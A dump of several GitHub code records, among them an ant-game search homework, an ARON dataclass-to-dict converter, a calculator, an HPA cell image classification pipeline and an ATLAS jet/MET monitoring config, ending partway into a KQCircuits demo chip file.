listAllLegalMoves(expandMe.state)\r\n\r\n moveNodes = []\r\n\r\n for move in moves:\r\n nextState = getNextState(expandMe.state, move)\r\n stateUtility = heuristicStepsToGoal(nextState)\r\n node = MoveNode(move, nextState)\r\n node.depth = expandMe.depth + 1\r\n node.parent = expandMe\r\n node.setUtility(stateUtility)\r\n moveNodes.append(node)\r\n\r\n return moveNodes;\r\n\r\nclass MoveNode():\r\n \r\n def __init__(self, move, state):\r\n self.move = move\r\n self.state = state\r\n self.depth = 1\r\n self.utility = None\r\n self.parent = None\r\n \r\n def setUtility(self, newUtility):\r\n self.utility = newUtility + self.depth\r\n\r\n def __str__(self):\r\n return \"Move: \" + str(self.move) + \", Utility: \" + str(self.utility)\r\n \r\n##\r\n#TEST CODE FOLLOWS\r\n##\r\nprint(\"Test code is being run\")\r\n\r\n#get all necessary values from gameState\r\ntestState = GameState.getBasicState()\r\nme = testState.whoseTurn\r\nmyTunnel = getConstrList(testState, me, (TUNNEL,))[0].coords\r\nmyHill = getConstrList(testState, me, (ANTHILL,))[0].coords\r\n \r\n#getMove() test\r\nmove = getMove(testState)\r\nif (move == None):\r\n print(\"Error in getMove(). Null move returned.\\n\")\r\nelse:\r\n print(\"getMove() returned: \" + str(move))\r\n#end getMove() test \r\n \r\n \r\n#bestMove() test\r\npossibleMoves = listAllLegalMoves(testState)\r\n\r\nmoveNodes = []\r\nfor move in possibleMoves:\r\n nextState = getNextState(testState, move)\r\n stateUtility = heuristicStepsToGoal(nextState)\r\n node = MoveNode(move, nextState)\r\n node.setUtility(stateUtility)\r\n moveNodes.append(node)\r\n\r\nbestNode = bestMove(moveNodes)\r\n\r\nif (bestNode == None):\r\n print(\"Error in bestMove(). Null node returned.\\n\")\r\nelif (bestNode.utility == None):\r\n print(\"Error in bestMove(). Utility was not set.\\n\")\r\nelse:\r\n print(\"bestMove() returned this MoveNode: \" + str(bestNode))\r\n#end bestMove() test\r\n \r\nprint(\"Test code has been run\")\r\n","repo_name":"kelsicruz/AI_HW2","sub_path":"HW2.py","file_name":"HW2.py","file_ext":"py","file_size_in_byte":12011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35580306165","text":"import enum\nimport logging\n\nimport dataclasses as dc\nimport typing as ty\nimport numpy as np\n\n\nclass DataclassFromToDict:\n\n def __init__(self, logger: logging.Logger = None):\n self.logger = logger\n\n def _prefix(self, depth: int) -> str:\n return \" \" * depth\n\n def dataclass_from_dict(\n self,\n cls,\n data: ty.Dict,\n depth: int = 0,\n ):\n \"\"\"\n Deeply converts a dictionary with pythonic data types\n to an instance of the given dataclass.\n\n :param cls: The dataclass.\n :param data: The data.\n :param depth: The current recursion depth. Only used for logging.\n :return: An instance of the dataclass.\n \"\"\"\n return self.value_from_pythonic(value_name=None, value_type=cls, value=data, depth=depth)\n\n def value_from_pythonic(\n self,\n value_name: ty.Optional[str],\n value_type,\n value,\n depth: int,\n ):\n pre = self._prefix(depth)\n try:\n origin = value_type.__origin__\n except AttributeError:\n origin = None\n\n if self.logger is not None:\n self.logger.debug(\n (f\"{pre}- Field '{value_name}':\" if value_name is not None\n else f\"{pre}- Value:\")\n + f\"\\n{pre} - type of annot.: {value_type}\"\n + f\"\\n{pre} - origin: {origin}\"\n + f\"\\n{pre} - type of value: {type(value).__name__}\"\n )\n\n if value_type == type(value):\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Type matches exactly. Return value {value_type.__name__} as-is.\")\n # Nothing to do.\n return value\n\n if value_type == type(None):\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process NoneType\")\n if value is None:\n return None\n\n if value_type == ty.Any:\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process ty.Any\")\n return value\n\n if origin is not None:\n # Type annotation such as ty.List, ty.Dict, etc.\n if origin in (ty.List, list):\n [vt] = value_type.__args__\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process ty.List[{vt}] \")\n return [\n self.value_from_pythonic(value_name=None, value_type=vt, value=v, depth=depth+1)\n for v in value\n ]\n\n elif origin in (ty.Dict, dict):\n kt, vt = value_type.__args__\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process ty.Dict[{kt}, {vt}]\")\n return {\n kt(k): self.value_from_pythonic(value_name=None, value_type=vt, value=v, depth=depth+1)\n for k, v in value.items()\n }\n\n elif origin in (ty.Union,): # Included ty.Optional[]\n union_types = value_type.__args__\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process ty.Union[{union_types}]\")\n\n if type(None) in union_types and value is None:\n return None\n\n for union_type in union_types:\n if self.logger is not None:\n self.logger.debug(f\"{pre} - Try union option {union_type} ...\")\n\n # ToDo: Correctly capture when this conversion fails and proceed with next one.\n result = self.dataclass_from_dict(union_type, value, depth=depth+1)\n if isinstance(result, union_type):\n return result\n\n # No type from typing.\n\n # Try ARON data class.\n from armarx_memory.aron.aron_dataclass import AronDataclass\n if issubclass(value_type, AronDataclass):\n conversion_options = value_type._get_conversion_options()\n else:\n conversion_options = None\n\n if issubclass(value_type, enum.Enum):\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process enum: {value_type}\")\n assert isinstance(value, int), value\n return value_type(value)\n\n try:\n field_types = value_type.__annotations__\n\n except AttributeError:\n # Not a data class.\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process other type: {value_type}\")\n\n return self.non_dataclass_from_dict(cls=value_type, data=value, depth=depth)\n\n # Build kwargs for cls.\n kwargs = dict()\n for field_name, value in value.items():\n if conversion_options is not None:\n field_name = conversion_options.name_aron_to_python(field_name)\n\n try:\n field_type = field_types[field_name]\n except KeyError as e:\n raise KeyError(\n f\"Found no dataclass field '{field_name}' in ARON dataclass {value_type.__name__} matching the data entry. \"\n \"Available are: \" + \", \".join(f\"'{f}'\" for f in field_types))\n\n field_value = self.value_from_pythonic(value_name=field_name, value_type=field_type, value=value, depth=depth)\n\n kwargs[field_name] = field_value\n\n # Construct from kwargs and return.\n return value_type(**kwargs)\n\n def non_dataclass_from_dict(self, cls, data, depth: int):\n # Not a dataclass. Can just try to deliver kwargs. Or return data.\n\n pre = self._prefix(depth)\n\n method_name = \"from_aron_ice\"\n if isinstance(cls.__dict__.get(method_name, None), classmethod):\n if self.logger is not None:\n self.logger.debug(f\"{pre}Not a dataclass, but provides method '{method_name}()'.\")\n return cls.from_aron_ice(data)\n\n try:\n result = cls(**data)\n except TypeError:\n if cls == np.ndarray:\n if self.logger is not None:\n self.logger.debug(f\"{pre} is np.ndarray. Return data of type {type(data)} as-is..\")\n return data\n try:\n result = cls(data)\n except TypeError:\n if self.logger is not None:\n self.logger.debug(f\"{pre}Not a dataclass. Return data of type {type(data)} as-is..\")\n return data\n else:\n if self.logger is not None:\n self.logger.debug(f\"{pre}Not a dataclass. Construct {cls} from {type(data)}.\")\n return result\n else:\n if self.logger is not None:\n self.logger.debug(f\"{pre}Not a dataclass. Construct {cls} from kwargs.\")\n return result\n\n\n def dataclass_to_dict(\n self,\n obj,\n depth: ty.Optional[int] = 0,\n ) -> ty.Dict[str, ty.Any]:\n \"\"\"\n Deeply converts an ARON dataclass to a dict.\n\n :param obj: An object of a dataclass.\n :param depth:\n :return: A dict containing pythonic data types.\n \"\"\"\n\n pre = self._prefix(depth)\n\n from armarx_memory.aron.aron_dataclass import AronDataclass\n if isinstance(obj, AronDataclass):\n conversion_options = obj._get_conversion_options()\n else:\n conversion_options = None\n\n # Does not respect conversion_options.\n # dc.asdict(obj)\n\n if self.logger is not None:\n self.logger.debug(f\"{pre}Construct dictionary from object of class {obj.__class__.__name__} ...\")\n\n try:\n fields: ty.Iterable[dc.Field] = dc.fields(obj)\n except TypeError:\n # Not a dataclass => return as-is.\n return obj\n\n # Build kwargs for cls.\n data = dict()\n for field in fields:\n field_name = field.name\n field_type = field.type\n origin = field_type.__dict__.get(\"__origin__\", None)\n\n if ty.ClassVar in [field_type, origin]:\n continue\n\n try:\n value = obj.__dict__[field_name]\n except KeyError:\n raise KeyError(f\"Field '{field_name}' of type {field_type} (origin: {origin})\"\n f\" not found in object of type {type(obj)}.\"\n f\" Available are: \" + \", \".join(f\"'{f}'\" for f in obj.__dict__.keys()))\n\n if conversion_options is not None:\n aron_field_name = conversion_options.name_python_to_aron(field_name)\n else:\n aron_field_name = field_name\n\n field_value = self.field_value_to_pythonic(name=aron_field_name, type_=field_type, value=value, depth=depth)\n\n data[aron_field_name] = field_value\n\n return data\n\n def field_value_to_pythonic(\n self,\n name: str,\n type_,\n value,\n depth: int,\n ):\n pre = self._prefix(depth)\n origin = type_.__dict__.get(\"__origin__\", None)\n\n if self.logger is not None:\n value_type = type(value)\n self.logger.debug(\n f\"{pre}- Field '{name}':\"\n f\"\\n{pre} - type of annot.: {type_}\"\n f\"\\n{pre} - origin: {origin}\"\n f\"\\n{pre} - type of value: {value_type}\"\n )\n\n if value is None:\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process None-cType\")\n\n if origin == ty.Union:\n union_types = type_.__args__\n assert type(None) in union_types, (type_, origin, union_types)\n else:\n assert type_ == type(None), (type_, origin) # Note, If this fails, comment out\n\n return None\n\n elif isinstance(value, list):\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process list \")\n return [self.dataclass_to_dict(v, depth=depth+1) for v in value]\n\n elif isinstance(value, dict):\n return {k: self.dataclass_to_dict(v, depth=depth + 1) for k, v in value.items()}\n\n else:\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Process other type: {type_}\")\n try:\n return self.dataclass_to_dict(value, depth=depth + 1)\n except AttributeError:\n # Cannot convert.\n if self.logger is not None:\n self.logger.debug(f\"{pre}> Not a dataclass. Return value {value} as-is..\")\n return value\n\n\ndef dataclass_to_dict(\n obj,\n logger: ty.Optional[logging.Logger] = None,\n) -> ty.Dict[str, ty.Any]:\n \"\"\"\n Deeply converts a dataclass to a dict.\n\n :param obj: An object of an ARON dataclass.\n :param logger: An optional logger.\n :return: A dict containing pythonic data types.\n \"\"\"\n\n converter = DataclassFromToDict(logger=logger)\n return converter.dataclass_to_dict(obj=obj)\n\n\ndef dataclass_from_dict(\n cls,\n data: ty.Dict,\n logger: ty.Optional[logging.Logger] = None,\n):\n \"\"\"\n Deeply converts a dictionary with pythonic data types\n to an instance of the given ARON dataclass.\n\n :param cls: The dataclass.\n :param data: The data.\n :param logger: A logger.\n :return: An instance of the dataclass.\n \"\"\"\n\n converter = DataclassFromToDict(logger=logger)\n return converter.dataclass_from_dict(cls=cls, data=data)\n","repo_name":"markusgrotz/python3-armarx","sub_path":"armarx_memory/aron/conversion/dataclass_from_to_pythonic.py","file_name":"dataclass_from_to_pythonic.py","file_ext":"py","file_size_in_byte":11584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11150925902","text":"import os\r\nfrom art import logo\r\nimport time\r\n\r\ndef add(n1, n2):\r\n return n1 + n2\r\n\r\ndef subtract(n1, n2):\r\n return abs(n1 - n2)\r\n\r\ndef multiply(n1, n2):\r\n return n1 * n2\r\n\r\ndef divide(n1, n2):\r\n if n2 == 0:\r\n print(\"Divisible by 0 is not allowed, clearing screen...\")\r\n elif n2 != 0:\r\n return n1 / n2\r\n\r\noperations = {\r\n \"+\": add,\r\n \"-\": subtract,\r\n \"*\": multiply,\r\n \"/\": divide,\r\n}\r\n\r\ndef calculator():\r\n print(logo)\r\n first_number = float(input(\"What's the first number?: \"))\r\n for symbol in operations:\r\n print(symbol)\r\n choice = True\r\n while choice:\r\n operation = input(\"Pick an operation: \")\r\n second_number = float(input(\"What's the next number?: \"))\r\n calculation_function = operations[operation]\r\n result = calculation_function(first_number, second_number)\r\n time.sleep(1.5)\r\n if second_number == 0 and operation == \"/\":\r\n choice = False\r\n os.system('cls')\r\n calculator()\r\n print(f\"{first_number} {operation} {second_number} = {result}\")\r\n if input(f\"Type 'y' to conitnue calculating with {result}, or type 'n' to start a new calculation: \") == \"y\":\r\n first_number = result\r\n else:\r\n choice = False\r\n os.system('cls')\r\n calculator()\r\n\r\ncalculator()","repo_name":"siddharth07-ui/python_projects","sub_path":"calculator/Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33560215694","text":"import argparse\nimport gzip\nimport io\nimport os\nimport pickle\n\nimport bioimageio.core\nimport imageio\nimport napari\nimport numpy as np\nimport pandas as pd\nimport requests\n\nfrom bioimageio.core.prediction import predict_with_padding\nfrom skimage.measure import regionprops, label\nfrom skimage.segmentation import watershed\nfrom skimage.transform import rescale, resize\nfrom sklearn.metrics import accuracy_score\nfrom xarray import DataArray\nfrom tqdm import tqdm\n\nHPA_CLASSES = {\n \"Nucleoplasm\": 0,\n \"Nuclear membrane\": 1,\n \"Nucleoli\": 2,\n \"Nucleoli fibrillar center\": 3,\n \"Nuclear speckles\": 4,\n \"Nuclear bodies\": 5,\n \"Endoplasmic reticulum\": 6,\n \"Golgi apparatus\": 7,\n \"Intermediate filaments\": 8,\n \"Actin filaments\": 9,\n \"Focal adhesion sites\": 9,\n \"Microtubules\": 10,\n \"Mitotic spindle\": 11,\n \"Centrosome\": 12,\n \"Centriolar satellite\": 12,\n \"Plasma membrane\": 13,\n \"Cell Junctions\": 13,\n \"Mitochondria\": 14,\n \"Aggresome\": 15,\n \"Cytosol\": 16,\n \"Vesicles\": 17,\n \"Peroxisomes\": 17,\n \"Endosomes\": 17,\n \"Lysosomes\": 17,\n \"Lipid droplets\": 17,\n \"Cytoplasmic bodies\": 17,\n \"No staining\": 18\n}\nCELL_LINES = [\"A-431\", \"A549\", \"EFO-21\", \"HAP1\", \"HEK 293\", \"HUVEC TERT2\",\n \"HaCaT\", \"HeLa\", \"PC-3\", \"RH-30\", \"RPTEC TERT1\", \"SH-SY5Y\",\n \"SK-MEL-30\", \"SiHa\", \"U-2 OS\", \"U-251 MG\", \"hTCEpi\"]\nCOLORS = [\"red\", \"green\", \"blue\", \"yellow\"]\n\n\ndef download_image(url, path):\n print(\"Download\", url)\n with requests.get(url) as r:\n f = io.BytesIO(r.content)\n tf = gzip.open(f).read()\n img = imageio.imread(tf, \"tiff\")\n imageio.imwrite(path, img)\n\n\ndef download_data(input_csv, tmp_dir, images_per_class):\n df = pd.read_csv(input_csv)\n # only get images from the testset\n df = df[~df.in_trainset]\n # remove images with unknown labels\n df = df[~df.Label_idx.isna()]\n # filter the relevant cell lines\n df = df[df.Cellline.isin(CELL_LINES)]\n urls = {\n cls_name: df[df.Label == cls_name].Image.values[:images_per_class] for cls_name in HPA_CLASSES\n }\n\n out_root = os.path.join(tmp_dir, \"images\")\n image_paths = {}\n\n for cls_name, cls_urls in urls.items():\n this_paths = []\n for url_base in cls_urls:\n im_root, im_name = url_base.split(\"/\")[-2:]\n out_dir = os.path.join(out_root, im_root)\n os.makedirs(out_dir, exist_ok=True)\n color_paths = []\n for color in COLORS:\n url = f\"{url_base}_{color}.tif.gz\"\n out_path = os.path.join(out_dir, f\"{im_name}_{color}.png\")\n color_paths.append(out_path)\n if os.path.exists(out_path):\n continue\n download_image(url, out_path)\n this_paths.append(color_paths)\n image_paths[cls_name] = this_paths\n return image_paths\n\n\ndef load_model(model_id, tmp_dir):\n out_folder = os.path.join(tmp_dir, model_id)\n out_path = os.path.join(out_folder, \"model.zip\")\n if os.path.exists(out_path):\n return bioimageio.core.load_resource_description(out_path)\n os.makedirs(out_folder, exist_ok=True)\n bioimageio.core.export_resource_package(model_id, output_path=out_path)\n return bioimageio.core.load_resource_description(out_path)\n\n\ndef load_image(image_paths, channels, scale_factor=None):\n image = []\n for chan in channels:\n path = [imp for imp in image_paths if chan in imp]\n assert len(path) == 1, f\"{chan}: {path}\"\n path = path[0]\n im = imageio.imread(path)\n if scale_factor is not None:\n im = rescale(im, scale_factor)\n image.append(im[None])\n image = np.concatenate(image, axis=0)\n return image\n\n\ndef segment_images(image_paths, tmp_dir, cell_model, nucleus_model):\n seg_paths = {}\n\n cell_model = load_model(cell_model, tmp_dir)\n nucleus_model = load_model(nucleus_model, tmp_dir)\n\n axes = cell_model.inputs[0].axes\n channels = [\"red\", \"blue\", \"green\"]\n padding = {\"x\": 32, \"y\": 32}\n scale_factor = 0.25\n\n def _segment(pp_cell, pp_nucleus, im_path, out_path):\n image = load_image(im_path, channels, scale_factor=scale_factor)\n\n # run prediction with the nucleus model\n input_nucleus = DataArray(\n np.concatenate([image[1:2], image[1:2], image[1:2]], axis=0)[None],\n dims=axes\n )\n nuclei_pred = predict_with_padding(pp_nucleus, input_nucleus, padding=padding)[0].values[0]\n\n # segment the nuclei in order to use them as seeds for the cell segmentation\n threshold = 0.5\n min_size = 250\n fg = nuclei_pred[-1]\n nuclei = label(fg > threshold)\n ids, sizes = np.unique(nuclei, return_counts=True)\n # don't apply size filter on the border\n border = np.ones_like(nuclei).astype(\"bool\")\n border[1:-1, 1:-1] = 0\n filter_ids = ids[sizes < min_size]\n border_ids = nuclei[border]\n filter_ids = np.setdiff1d(filter_ids, border_ids)\n nuclei[np.isin(nuclei, filter_ids)] = 0\n\n # run prediction with the cell segmentation model\n input_cells = DataArray(image[None], dims=axes)\n cell_pred = predict_with_padding(pp_cell, input_cells, padding=padding)[0].values[0]\n # segment the cells\n threshold = 0.5\n fg, bd = cell_pred[2], cell_pred[1]\n cell_seg = watershed(bd, markers=nuclei, mask=fg > threshold)\n\n # bring back to the orignial scale\n cell_seg = rescale(\n cell_seg, 1.0 / scale_factor, order=0, preserve_range=True, anti_aliasing=False\n ).astype(cell_seg.dtype)\n imageio.imwrite(out_path, cell_seg)\n\n with bioimageio.core.create_prediction_pipeline(bioimageio_model=cell_model) as pp_cell:\n with bioimageio.core.create_prediction_pipeline(bioimageio_model=nucleus_model) as pp_nucleus:\n for cls_name, im_paths in tqdm(image_paths.items(), desc=\"Segment images\", total=len(image_paths)):\n cls_seg_paths = []\n for im_path in im_paths:\n im_root, im_name = im_path[0].split(\"/\")[-2:]\n seg_folder = os.path.join(tmp_dir, \"segmentations\", im_root)\n os.makedirs(seg_folder, exist_ok=True)\n seg_path = os.path.join(seg_folder, im_name)\n cls_seg_paths.append(seg_path)\n if os.path.exists(seg_path):\n continue\n _segment(pp_cell, pp_nucleus, im_path, seg_path)\n seg_paths[cls_name] = cls_seg_paths\n\n return seg_paths\n\n\ndef predict_classes(image_paths, segmentation_paths, tmp_dir, model_doi):\n model = load_model(model_doi, tmp_dir)\n axes = model.inputs[0].axes\n expected_shape = model.inputs[0].shape[1:]\n channels = [\"red\", \"green\", \"blue\", \"yellow\"]\n\n def _classifiy(pp, im_path, seg_path, out_path):\n image = load_image(im_path, channels)\n assert os.path.exists(seg_path), seg_path\n segmentation = imageio.imread(seg_path)\n assert segmentation.shape == image.shape[1:]\n segments = regionprops(segmentation)\n\n seg_ids = []\n seg_images = []\n for seg in segments:\n seg_id = seg.label\n bb = np.s_[seg.bbox[0]:seg.bbox[2], seg.bbox[1]:seg.bbox[3]]\n\n im = image[(slice(None),) + bb]\n mask = segmentation[bb] != seg_id\n for c in range(im.shape[0]):\n im[c][mask] = 0\n im = resize(im, expected_shape)\n # after resize the value range is in [0, 1], but the model expects a value range of [0, 255]\n # note that we could also use 'resize(..., preserve_range=True)', but we might also get other input ranges\n # and this way we can make sure that the value range for the model is [0, 255]\n im *= 255\n\n # for debugging\n # v = napari.Viewer()\n # v.add_image(im)\n # mask = resize(mask, expected_shape[1:], order=0, anti_aliasing=False, preserve_range=True)\n # v.add_labels(np.logical_not(mask), name=\"cell_mask\")\n # napari.run()\n\n seg_ids.append(seg_id)\n seg_images.append(im[None])\n\n input_ = DataArray(\n np.concatenate(seg_images, axis=0), dims=axes\n )\n preds = pp(input_)[0].values\n assert preds.shape[0] == len(seg_ids)\n predictions = {seg_id: pred for seg_id, pred in zip(seg_ids, preds)}\n\n with open(out_path, \"wb\") as f:\n pickle.dump(predictions, f)\n\n prediction_paths = {}\n with bioimageio.core.create_prediction_pipeline(bioimageio_model=model) as pp:\n for cls_name, im_paths in tqdm(image_paths.items(), total=len(image_paths), desc=\"Classify cells\"):\n seg_paths = segmentation_paths[cls_name]\n assert len(seg_paths) == len(im_paths)\n cls_pred_paths = []\n for im_path, seg_path in zip(im_paths, seg_paths):\n im_root, im_name = seg_path.split(\"/\")[-2:]\n out_folder = os.path.join(tmp_dir, \"predictions\", im_root)\n os.makedirs(out_folder, exist_ok=True)\n out_path = os.path.join(out_folder, im_name.replace(\".png\", \".pkl\"))\n cls_pred_paths.append(out_path)\n if os.path.exists(out_path):\n continue\n _classifiy(pp, im_path, seg_path, out_path)\n prediction_paths[cls_name] = cls_pred_paths\n return prediction_paths\n\n\n# adding text to shapes:\n# https://github.com/napari/napari/blob/6a3e11aa717e7928a0a5a3c7693577729a466ef1/examples/add_shapes_with_text.py\ndef visualize_results(image_paths, segmentation_paths, prediction_paths):\n reverse_class_dict = {v: k for k, v in HPA_CLASSES.items()}\n\n def visualize(image, segmentation, pred, title):\n segments = regionprops(segmentation)\n bounding_boxes = []\n classes = []\n likelihoods = []\n for seg in segments:\n scores = pred[seg.label]\n if scores is None:\n continue\n xmin, ymin, xmax, ymax = seg.bbox\n bounding_boxes.append(np.array([[xmin, ymin], [xmax, ymax]]))\n # apply softmax to find the class probabilities and the most likely class\n scores = scores.squeeze()\n scores = np.exp(scores) / np.sum(np.exp(scores))\n # most likely class\n class_id = np.argmax(scores)\n class_name = reverse_class_dict[class_id]\n classes.append(class_name)\n likelihoods.append(scores[np.argmax(scores)])\n\n properties = {\n \"likelihood\": likelihoods,\n \"class\": classes\n }\n text_properties = {\n \"text\": \"{class}: {likelihood:0.2f}\",\n \"anchor\": \"upper_left\",\n \"translation\": [-5, 0],\n \"size\": 16,\n \"color\": \"red\"\n }\n\n v = napari.Viewer()\n v.add_image(image)\n v.add_labels(segmentation)\n v.add_shapes(bounding_boxes,\n properties=properties,\n text=text_properties,\n shape_type=\"rectangle\",\n edge_width=4,\n edge_color=\"coral\",\n face_color=\"transparent\")\n v.title = title\n napari.run()\n\n for cls_name, image_paths in image_paths.items():\n seg_paths = segmentation_paths[cls_name]\n pred_paths = prediction_paths[cls_name]\n assert len(image_paths) == len(seg_paths)\n for im_path, seg_path, pred_path in zip(image_paths, seg_paths, pred_paths):\n image = np.concatenate([imageio.imread(imp)[None] for imp in im_path], axis=0)\n seg = imageio.imread(seg_path)\n with open(pred_path, \"rb\") as f:\n pred = pickle.load(f)\n visualize(image, seg, pred, title=f\"{cls_name}:{os.path.basename(seg_path)}\")\n\n\n# TODO show this as a confusion matrix instead\ndef analyze_results(prediction_paths):\n all_predictions = []\n all_expected = []\n for cls, pred_paths in prediction_paths.items():\n predictions = []\n for pred_path in pred_paths:\n with open(pred_path, \"rb\") as f:\n this_scores = pickle.load(f)\n for scores in this_scores.values():\n scores = scores.squeeze()\n scores = np.exp(scores) / np.sum(np.exp(scores))\n # most likely class\n class_id = np.argmax(scores)\n predictions.append(class_id)\n\n expected_id = HPA_CLASSES[cls]\n expected = len(predictions) * [expected_id]\n acc = accuracy_score(expected, predictions)\n print(\"Prediction accuracy for\", cls)\n print(acc)\n\n all_predictions.extend(predictions)\n all_expected.extend(expected)\n\n acc = accuracy_score(all_expected, all_predictions)\n print(\"Overall accuracy:\")\n print(acc)\n\n\n# the code is based on:\n# https://www.kaggle.com/lnhtrang/hpa-public-data-download-and-hpacellseg\n# https://github.com/CellProfiling/HPA-Cell-Segmentation/blob/master/hpacellseg/cellsegmentator.py\n# https://github.com/CellProfiling/HPA-Cell-Segmentation/blob/master/hpacellseg/utils.py\n# https://github.com/oeway/hpa-bestfitting-inceptionv3/blob/master/simple_predict.py\ndef main():\n description = \"Example python app for class prediction of HPA images with a bioimage.io model.\"\n parser = argparse.ArgumentParser(description=description)\n\n # input and output data\n parser.add_argument(\"-i\", \"--input\", default=\"./kaggle_2021.csv\", help=\"\")\n parser.add_argument(\"-d\", \"--tmp_dir\", default=\"hpa_tmp\")\n\n # the models used for segmentation and classification\n parser.add_argument(\"-n\", \"--nucleus_segmentation_model\", default=\"10.5281/zenodo.6200999\")\n parser.add_argument(\"-s\", \"--cell_segmentation_model\", default=\"10.5281/zenodo.6200635\")\n parser.add_argument(\"-c\", \"--classification_model\", default=\"10.5281/zenodo.5911832\")\n\n # misc options\n parser.add_argument(\"--images_per_class\", default=1, help=\"\")\n parser.add_argument(\"-v\", \"--visualize\", default=0, help=\"Whether to visualize the results\")\n\n args = parser.parse_args()\n os.makedirs(args.tmp_dir, exist_ok=True)\n image_paths = download_data(args.input, args.tmp_dir, args.images_per_class)\n seg_paths = segment_images(image_paths, args.tmp_dir,\n args.cell_segmentation_model, args.nucleus_segmentation_model)\n prediction_paths = predict_classes(image_paths, seg_paths, args.tmp_dir, args.classification_model)\n if bool(args.visualize):\n visualize_results(image_paths, seg_paths, prediction_paths)\n analyze_results(prediction_paths)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bioimage-io/use-cases","sub_path":"case3-devtools/hpa_app.py","file_name":"hpa_app.py","file_ext":"py","file_size_in_byte":14843,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"71092409793","text":"from AthenaConfiguration.ComponentAccumulator import ComponentAccumulator\n\ndef AthenaMonitoringAODRecoCfg(flags):\n import logging\n local_logger = logging.getLogger('AthenaMonitoringAODRecoCfg')\n info = local_logger.info\n result = ComponentAccumulator()\n\n if flags.DQ.Environment == 'AOD':\n info('Running on AOD: Scheduling rebuild of standard jet collections if necessary')\n from JetRecConfig.StandardSmallRJets import AntiKt4EMTopo, AntiKt4EMPFlow, AntiKt4LCTopo\n from JetRecConfig.StandardLargeRJets import AntiKt10LCTopo_noVR, AntiKt10LCTopoTrimmed_trigger\n from AthenaConfiguration.Enums import BeamType\n\n # first, check small R jets, skip PFlow when running over cosmics\n jets_to_schedule = [_ for _ in ((AntiKt4EMTopo, AntiKt4EMPFlow, AntiKt4LCTopo) if flags.Beam.Type is not BeamType.Cosmics else (AntiKt4EMTopo, AntiKt4LCTopo))\n if _.fullname() not in flags.Input.Collections]\n # if we reschedule small R jets, check if we need to reschedule large R as well\n if jets_to_schedule:\n jets_to_schedule += [_ for _ in (AntiKt10LCTopo_noVR, AntiKt10LCTopoTrimmed_trigger)\n if _.fullname() not in flags.Input.Collections]\n\n if jets_to_schedule:\n info(f'Ensuring presence of jet collections for monitoring: {jets_to_schedule}')\n from JetRecConfig.JetRecConfig import JetRecCfg\n from JetRecConfig.JetConfigFlags import jetInternalFlags \n # We're in Reco-like job : this flag implies the jet config will automatically switch off component incompatible with conditions (cosmics, truth,...)\n jetInternalFlags.isRecoJob = True\n \n for container in jets_to_schedule:\n result.merge(JetRecCfg(flags, container))\n\n jet_collections = set([_.fullname().replace('Jets','') for _ in jets_to_schedule])\n btag_jet_collections = set(['AntiKt4EMTopo', 'AntiKt4EMPFlow'])\n met_jet_collections = set(['AntiKt4EMTopo', 'AntiKt4EMPFlow', 'AntiKt4LCTopo'])\n\n if jet_collections & btag_jet_collections:\n info('Scheduling b-tagging of rebuilt jets')\n from BeamSpotConditions.BeamSpotConditionsConfig import BeamSpotCondAlgCfg\n result.merge(BeamSpotCondAlgCfg(flags))\n from BTagging.BTagConfig import BTagRecoSplitCfg\n # would rather use removesuffix below but need to wait for Python 3.9\n for container in jet_collections & btag_jet_collections:\n result.merge(BTagRecoSplitCfg(flags, [container]))\n\n # MET can't be rebuilt when running over cosmics AOD as taus are missing\n if jet_collections & met_jet_collections and flags.Beam.Type is not BeamType.Cosmics:\n info('Scheduling rebuild of standard MET')\n from METReconstruction.METAssociatorCfg import METAssociatorCfg\n from METUtilities.METMakerConfig import getMETMakerAlg\n for container in jet_collections & met_jet_collections:\n if container == 'AntiKt4EMPFlow':\n # build links between FlowElements and electrons, photons, muons and taus \n info('Scheduling FlowElement linking')\n from eflowRec.PFCfg import PFGlobalFlowElementLinkingCfg\n result.merge(PFGlobalFlowElementLinkingCfg(flags))\n result.merge(METAssociatorCfg(flags, container))\n result.addEventAlgo(getMETMakerAlg(container))\n from CaloTools.CaloNoiseCondAlgConfig import CaloNoiseCondAlgCfg\n result.merge(CaloNoiseCondAlgCfg(flags)) # Prereq for Calo MET\n from METReconstruction.METCalo_Cfg import METCalo_Cfg\n result.merge(METCalo_Cfg(flags))\n\n return result\n","repo_name":"Yusuf-Manjra/athena","sub_path":"Control/AthenaMonitoring/python/AthenaMonitoringAODRecoCfg.py","file_name":"AthenaMonitoringAODRecoCfg.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7605548942","text":"from kqcircuits.pya_resolver import pya\nfrom kqcircuits.util.parameters import Param, pdt, add_parameters_from\n\nfrom kqcircuits.chips.chip import Chip\nfrom kqcircuits.elements.finger_capacitor_square import FingerCapacitorSquare\nfrom kqcircuits.elements.finger_capacitor_taper import FingerCapacitorTaper\nfrom kqcircuits.elements.meander import Meander\nfrom kqcircuits.qubits.swissmon import Swissmon\nfrom kqcircuits.elements.airbridge_connection import AirbridgeConnection\nfrom kqcircuits.elements.waveguide_composite import WaveguideComposite, Node\nfrom kqcircuits.elements.waveguide_coplanar import WaveguideCoplanar\nfrom kqcircuits.elements.waveguide_coplanar_splitter import WaveguideCoplanarSplitter, t_cross_parameters\nfrom kqcircuits.test_structures.junction_test_pads.junction_test_pads import JunctionTestPads\nfrom kqcircuits.util.geometry_helper import point_shift_along_vector\n\n\n@add_parameters_from(Chip, name_chip=\"Demo\")\nclass Demo(Chip):\n \"\"\"Demonstration chip with a four qubits, 